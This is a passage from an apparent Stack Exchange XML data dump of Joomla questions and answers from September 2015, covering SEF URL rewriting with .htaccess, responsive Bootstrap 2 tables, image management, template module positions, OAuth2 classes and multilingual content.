urls. I have created articles in Joomla component as I don't want to go with k2. Can somebody recommend me permanent solution which should not break url structure or effect on SEO/ &lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2015-09-08T01:20:09.427" Title="How to Remove article id from Joomla 3.4.3" Tags="|joomla-3.4|url|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13497" PostTypeId="2" ParentId="13496" CreationDate="2015-09-06T20:46:53.923" Score="3" Body="&lt;p&gt;It is not recommended to play with core files. It can have side-effects (where you are alone to support them) and you will have to patch them with every update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To customize Urls, it is &lt;strong&gt;highly recommended&lt;/strong&gt; to install any SEF-oriented extension from &lt;a href=&quot;http://extensions.joomla.org/category/site-management/sef&quot; rel=&quot;nofollow&quot;&gt;JED/ Site Management/ Sef&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-09-06T20:46:53.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13498" PostTypeId="2" ParentId="13481" CreationDate="2015-09-06T20:53:01.970" Score="2" Body="&lt;p&gt;When you install Kunena, it creates &quot;Kunena Menu&quot;. This menu has several items to navigate the forum following the most common practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To publish it, you can publish this menu with a new menu module instance, on a template specific position. Or, you can create a new &quot;alias&quot; menu item in your &quot;Main Menu&quot;, targeting &quot;Kunena Menu&quot;/&quot;Forum&quot; menu item.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-09-06T20:53:01.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13500" PostTypeId="2" ParentId="13465" CreationDate="2015-09-07T07:40:11.870" Score="1" Body="&lt;p&gt;By default Repeatable initialised on &lt;code&gt;load&lt;/code&gt; event, so you have time to change the value on &lt;code&gt;ready&lt;/code&gt; event, that occurs before &lt;code&gt;load&lt;/code&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;  jQuery('#jform_repeatable_id').val('json string of your new value');&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="87" LastActivityDate="2015-09-07T07:40:11.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13501" PostTypeId="1" CreationDate="2015-09-07T08:03:30.570" Score="0" ViewCount="443" Body="&lt;p&gt;Here I'm facing the problem with responsive display of my component List view in Joomla 3.0.If I see the list view in my mobile,the columns crossing the limit of Joomla page(Image Attached).Is there any to make the list views as responsive using bootstrap 2 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;table id=&quot;box-table-a&quot; &amp;gt;&#xA;     &amp;lt;thead&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;   &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #box-table-a{&#xA;    font-family: &quot;Lucida Sans Unicode&quot;, &quot;Lucida Grande&quot;, Sans-Serif;&#xA;    font-size: 12px;&#xA;    width: 100%;&#xA;    text-align: left;&#xA;    border-collapse: collapse;&#xA;    float:left; &#xA;}&#xA;&#xA;#box-table-a th{&#xA;    font-size: 13px;&#xA;    font-weight: normal;&#xA;    padding: 8px;&#xA;    font-weight:bold;   &#xA;    background:#b9c9fe; &#xA;    color:#000000; &#xA;    border: 1px solid #ffffff;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0SaGc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0SaGc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2240" LastActivityDate="2015-09-07T09:18:09.680" Title="Responsive list view using bootstrap 2 in joomla 3" Tags="|joomla-3.x|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13502" PostTypeId="2" ParentId="13501" CreationDate="2015-09-07T09:18:09.680" Score="2" Body="&lt;p&gt;Bootstrap 2 doesn't have built-in responsive table support, but you can try this workaround below.&#xA;Try to wrap your table with a div and give overflow-x to the wrapper&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;table-wrapper&quot;&amp;gt;&#xA;  &amp;lt;table id=&quot;box-table-a&quot; &amp;gt;&#xA;     &amp;lt;thead&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th scope=&quot;col&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;   &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.table-wrapper {&#xA;   width:100%;&#xA;    overflow-x:auto;&#xA;}&#xA;#box-table-a{&#xA;    font-family: &quot;Lucida Sans Unicode&quot;, &quot;Lucida Grande&quot;, Sans-Serif;&#xA;    font-size: 12px;&#xA;    width: 100%;&#xA;    text-align: left;&#xA;    border-collapse: collapse;&#xA;    float:left; &#xA;}&#xA;&#xA;#box-table-a th{&#xA;    font-size: 13px;&#xA;    font-weight: normal;&#xA;    padding: 8px;&#xA;    font-weight:bold;   &#xA;    background:#b9c9fe; &#xA;    color:#000000; &#xA;    border: 1px solid #ffffff;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally you may want to try other solutions using jquery, such as &lt;a href=&quot;https://github.com/filamentgroup/tablesaw&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://github.com/fooplugins/FooTable&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-07T09:18:09.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13503" PostTypeId="1" CreationDate="2015-09-07T11:59:39.380" Score="3" ViewCount="1347" Body="&lt;p&gt;I have created tags module as well as menu item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if i insert tags in articles, url gets website.com/component/tags/tag/1-abc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we remove component/tags and convert links from website.com/component/tags/tag to website.com/tag/1-abc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla! 3.4.3 Stable &lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2019-01-04T14:55:57.533" Title="Joomla Tags Url problem" Tags="|joomla-3.3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13504" PostTypeId="2" ParentId="13503" CreationDate="2015-09-07T12:48:07.887" Score="2" Body="&lt;p&gt;The only native workaround I know is to create new menu items to all tags you have (you could put them inside a hidden menu if you want to). This will make all tag links on your website will be having the same url.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-07T12:48:07.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13505" PostTypeId="2" ParentId="13492" CreationDate="2015-09-07T13:03:30.023" Score="2" Body="&lt;p&gt;Please ensure that:&#xA;1. your server has PHP's GD image library installed&#xA;2. you can also enable debug mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check user manual:&#xA;&lt;a href=&quot;http://www.joomlaworks.net/extensions/free/simple-image-gallery&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlaworks.net/extensions/free/simple-image-gallery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-09-07T13:03:30.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13506" PostTypeId="1" CreationDate="2015-09-07T15:09:23.800" Score="3" ViewCount="966" Body="&lt;p&gt;I have a blog on Joomla 3.4.3 and every day I generate aprox. 15+ articles. Some of them contain many images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is; when I add a new article in Joomla, I have to add its intro image and full article image from &lt;em&gt;Images and links&lt;/em&gt; tab. And then I have to browse and upload image, then scroll to find the image then click on insert. It is really painful to scroll and find the image so that I can select and insert it, as there aren't any ascending or descending feature or sorting feature. If we talk about K2 then we just have to browse image and add. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easier way to insert images? I upload more then 50 images in different articles and it's hard to scroll and locate a particular image to add as intro and full image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/31a5N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/31a5N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="1629" LastEditDate="2015-09-07T18:06:03.777" LastActivityDate="2015-09-08T00:27:50.190" Title="How to handle many images in Joomla" Tags="|joomla-3.4|article-manager|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13507" PostTypeId="2" ParentId="13503" CreationDate="2015-09-07T15:11:04.473" Score="1" Body="&lt;p&gt;You can use Joomla Rewriting and .htaccess file: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;System &gt;&gt; Global Configuration &gt;&gt; Use URL Rewriting YES;&lt;/li&gt;&#xA;&lt;li&gt;Rename htaccess.txt to .htaccess in your root folder;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Implement in your .htaccess file one rule like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Mod_rewrite in use.&#xA;RewriteEngine On&#xA;RewriteRule ^component/(.*)$ $1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see complete explanation how rewrite works here:&#xA;&lt;a href=&quot;http://httpd.apache.org/docs/2.0/misc/rewriteguide.html&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/2.0/misc/rewriteguide.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-07T15:11:04.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13508" PostTypeId="2" ParentId="13506" CreationDate="2015-09-07T15:17:55.083" Score="5" Body="&lt;p&gt;I had the same problem months ago. After installing a site for a new client, with more than 1000 image to upload, I implement this action:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a folder for each month 2015-08, 2015-09, 2015-10...(Its more fast look images in same month)&lt;/li&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;http://extensions.joomla.org/extension/jce&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCE Editor&lt;/a&gt; with &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/plugins/media-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Media Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With this Editor and this plugin you can upload unlimited images at same time. This plugin can also resize the images like 1000px width in same upload time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last version of JCE Editor, the Joomla image browser has been overridden by a Smart interface from JCE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/teyA6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/teyA6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-09-08T00:27:50.190" LastActivityDate="2015-09-08T00:27:50.190" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13509" PostTypeId="1" AcceptedAnswerId="13511" CreationDate="2015-09-07T19:26:37.463" Score="3" ViewCount="511" Body="&lt;p&gt;I am having a hard time finding and getting a free template to work.&#xA;I have tried many free templates but none of them worked properly.&#xA;Currently the content of my joomla website is the default one that comes with the installation when someone chooses &quot;Install sample data&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always check that the template is compatible with my joomla version (3.4.3) and my php version (5.3). I also check that the  template does not need other extensions or plug-ins to work.From the Joomla Administration &gt; Extension Manager I upload and install the template and then select it as default from the template manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then the default navigation toolbar and many modules disappear. &#xA;I am trying to understand whether apart from the template itself I also need some &quot;Sample&quot; content that is appropriate for the specific template, like some of the paid templates provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone clarify to me the steps to install a free template. Perhaps provide a link to one along with instructions?&lt;/p&gt;&#xA;" OwnerUserId="6875" LastEditorUserId="6875" LastEditDate="2015-09-07T19:39:39.383" LastActivityDate="2015-09-08T22:49:52.067" Title="Template Installation" Tags="|templates|joomla-3.4|installation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13510" PostTypeId="2" ParentId="13509" CreationDate="2015-09-07T19:43:37.620" Score="3" Body="&lt;p&gt;Different templates may use different module position names. This is an extremely common thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, one of the right hand side positions with Protostar (shipped with Joomla 3.x) is &lt;code&gt;position-7&lt;/code&gt;, whereas the equivalent with a Yootheme template is &lt;code&gt;sidebar-a&lt;/code&gt; or &lt;code&gt;sidebar-b&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This being the case, you need to make sure your modules are assigned to the positions provided by the template you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-08T22:49:52.067" LastActivityDate="2015-09-08T22:49:52.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13511" PostTypeId="2" ParentId="13509" CreationDate="2015-09-07T19:45:19.317" Score="5" Body="&lt;p&gt;This has nothing to do with free vs commercial templates. Modules (the main menu usually is a module too) has to be published to a &lt;strong&gt;Module position&lt;/strong&gt;. The current position for each module can be seen in the module manager, or in the details for each module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JyRtT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JyRtT.jpg&quot; alt=&quot;Module manager&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4dppo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4dppo.jpg&quot; alt=&quot;Module details&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important part is that each template can have different module position names. The default Joomla template uses &lt;code&gt;position-0&lt;/code&gt;, &lt;code&gt;position-1&lt;/code&gt; etc, while other templates use &lt;code&gt;left&lt;/code&gt;, &lt;code&gt;sidebar-a&lt;/code&gt; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the live demo of your template, there's probably a menu item called &quot;Module Positions&quot;, that shows all available positions and their names.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also enable module position preview. It's recommended to disable this function before your site is live:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Log into your Joomla 3.0 admin area&lt;/li&gt;&#xA;&lt;li&gt;In the top menu, click &lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Template Manager&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the tabs at the top of the page, click the Options tab&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the Templates tab, find the following setting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Preview Module Positions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Click &lt;strong&gt;Enabled&lt;/strong&gt; next to this option, then &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you'll see a preview icon next to your Site Templates in the template manager. Click the preview icon next to the template you would like to view.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-09-07T19:50:50.190" LastActivityDate="2015-09-07T19:50:50.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13512" PostTypeId="1" CreationDate="2015-09-07T23:58:30.797" Score="4" ViewCount="2585" Body="&lt;p&gt;Joomla! 3.4.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a working example on how to implement OAuth2.0 client code to Google, Facebook, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand (and see) a variety of OAuth classes in the Joomla! library hierarchy, but no examples exist on how to instantiate/use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base (abstract?) class: &lt;code&gt;/libraries/joomla/oauth2/client.php&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google implementation: &lt;code&gt;/libraries/joomla/google/auth/oauth2.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook implmentation: &lt;code&gt;/libraries/joomla/facebook/oauth.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be most appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3764" LastEditorUserId="168" LastEditDate="2015-09-08T07:31:00.817" LastActivityDate="2018-01-28T21:48:07.483" Title="OAuth 2.0 Example" Tags="|joomla-3.4|authentication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13513" PostTypeId="2" ParentId="13509" CreationDate="2015-09-08T00:40:03.167" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Each module can be displayed in different menu items. You can set this on:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Extension &gt;&gt; Module Manager &gt;&gt; Edit a Module (&quot;was disapeear&quot;) &gt;&gt; on tab &quot;Menu Assignment&quot; look waht are selected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On all pages;&lt;/li&gt;&#xA;&lt;li&gt;No pages;&lt;/li&gt;&#xA;&lt;li&gt;Only on the pages selected;&lt;/li&gt;&#xA;&lt;li&gt;On all pages except those selected;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I belive you has &quot;Only on the pages selected&quot; in some Menu itens like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xL74i.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xL74i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look the red arrows. This Module was not show in this Menu items.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You can use free template for Yootheme for your server specifications:&#xA;&lt;a href=&quot;http://yootheme.com/demo/joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://yootheme.com/demo/joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Look for &quot;Nano 3&quot; Free template:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RSpNq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RSpNq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Look this Menu item &quot;Features &gt;&gt; Layout&quot; here you can see explanation for positions:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e1YBJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e1YBJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps too.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-09-08T00:46:12.420" LastActivityDate="2015-09-08T00:46:12.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13515" PostTypeId="2" ParentId="13496" CreationDate="2015-09-08T01:20:09.427" Score="1" Body="&lt;p&gt;You can use rewrite (i see you are using) and .htaccess rules like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^[0-9]/(.*)$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-08T01:20:09.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13516" PostTypeId="1" CreationDate="2015-09-08T08:08:29.130" Score="0" ViewCount="83" Body="&lt;p&gt;Im trying to overide the language constants that Joomla uses for Registration Mail to add some html code and Css.&#xA;As i read from another post here this is possible.&#xA;Altough when i add the following code at the override :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;p style='font-weight:bold;color:red;'&amp;gt;Test Test Test &amp;lt;/p&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After i hit save, &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags getting removed, &lt;code&gt;style='font-weight:bold;color:red;'&lt;/code&gt; is turning into &lt;code&gt;style=&quot;font-weight:bold;color:red;&quot;&lt;/code&gt; and the mail i recieve has the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have i to disable some joomla mechanism that strips out the tags or something ?&#xA;Or i have to use another approach to achieve my goal ?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="2225" LastEditDate="2015-09-08T08:56:08.700" LastActivityDate="2015-09-08T08:56:08.700" Title="Using Html and Css in Language Overide" Tags="|joomla-2.5|template-override|language|emails|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13517" PostTypeId="1" CreationDate="2015-09-08T16:16:17.937" Score="0" ViewCount="61" Body="&lt;p&gt;I want to make my site multilanguagal.&#xA;The first step is to add other language tabs when I create new content.&#xA;The second step is to add a language switcher in a some position in website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read and seen some articles like &lt;a href=&quot;https://docs.joomla.org/Language_Switcher_Tutorial&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not my goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6880" LastActivityDate="2016-01-06T20:15:08.417" Title="How to add language trans tab to content" Tags="|joomla-3.x|language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13518" PostTypeId="2" ParentId="13517" CreationDate="2015-09-08T17:35:56.503" Score="1" Body="&lt;p&gt;Yes, you are in right way...&#xA;After that, you will have to select the modules and content in which language you want to display each one. Look this menu option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yYrry.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yYrry.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have elements in &quot;language 1&quot;, others in &quot;language 2&quot;, and other in &quot;all languages&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-08T17:35:56.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13519" PostTypeId="2" ParentId="12213" CreationDate="2015-09-08T20:22:56.853" Score="1" Body="&lt;p&gt;This will work for you with Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', '../../../..' );//point to joomla root&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;$template = $app-&amp;gt;getTemplate(true);&#xA;$params = $template-&amp;gt;params;&#xA;&#xA;header(&quot;Content-Type:text/css; charset=UTF-8&quot;);&#xA;header(&quot;Cache-Control:must-revalidate&quot;);&#xA;$offset = 60 * 60 ; // 1 hour&#xA;$ExpStr = &quot;Expires: &quot; . gmdate(&quot;D, d M Y H:i:s&quot;,time() + $offset) . &quot; GMT&quot;;&#xA;header($ExpStr);&#xA;ob_start(&quot;compress&quot;);&#xA;function compress($buffer) {&#xA; $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);&#xA; $buffer = str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;, &quot;\n&quot;, &quot;\t&quot;, '  '), '', $buffer);&#xA; $buffer = str_replace(array(', ', ' {'), array(',', '{'), $buffer);&#xA; return $buffer;&#xA;}&#xA;?&amp;gt;&#xA;body {background-color: &amp;lt;?php echo $params-&amp;gt;get(&quot;templateBackgroundColor&quot;); ?&amp;gt;;}&#xA;&amp;lt;?php ob_end_flush(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6882" LastActivityDate="2015-09-08T20:22:56.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13520" PostTypeId="1" CreationDate="2015-09-08T21:04:54.643" Score="0" ViewCount="108" Body="&lt;p&gt;Does anybody know any plugin for Joomla 3.x to switch between languages(ex. tabs) while editing content? You need to create pages with different languages and after that create dependencies between them by default. It takes too much time.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-12-09T07:25:25.043" Title="Language tabs in content editor" Tags="|joomla-3.x|multilingual|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13521" PostTypeId="2" ParentId="13520" CreationDate="2015-09-08T23:37:55.843" Score="0" Body="&lt;p&gt;This was not possible. Each article has a differente ID and differente settings. You need chose how language this article ID will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DSoXQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSoXQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-08T23:37:55.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
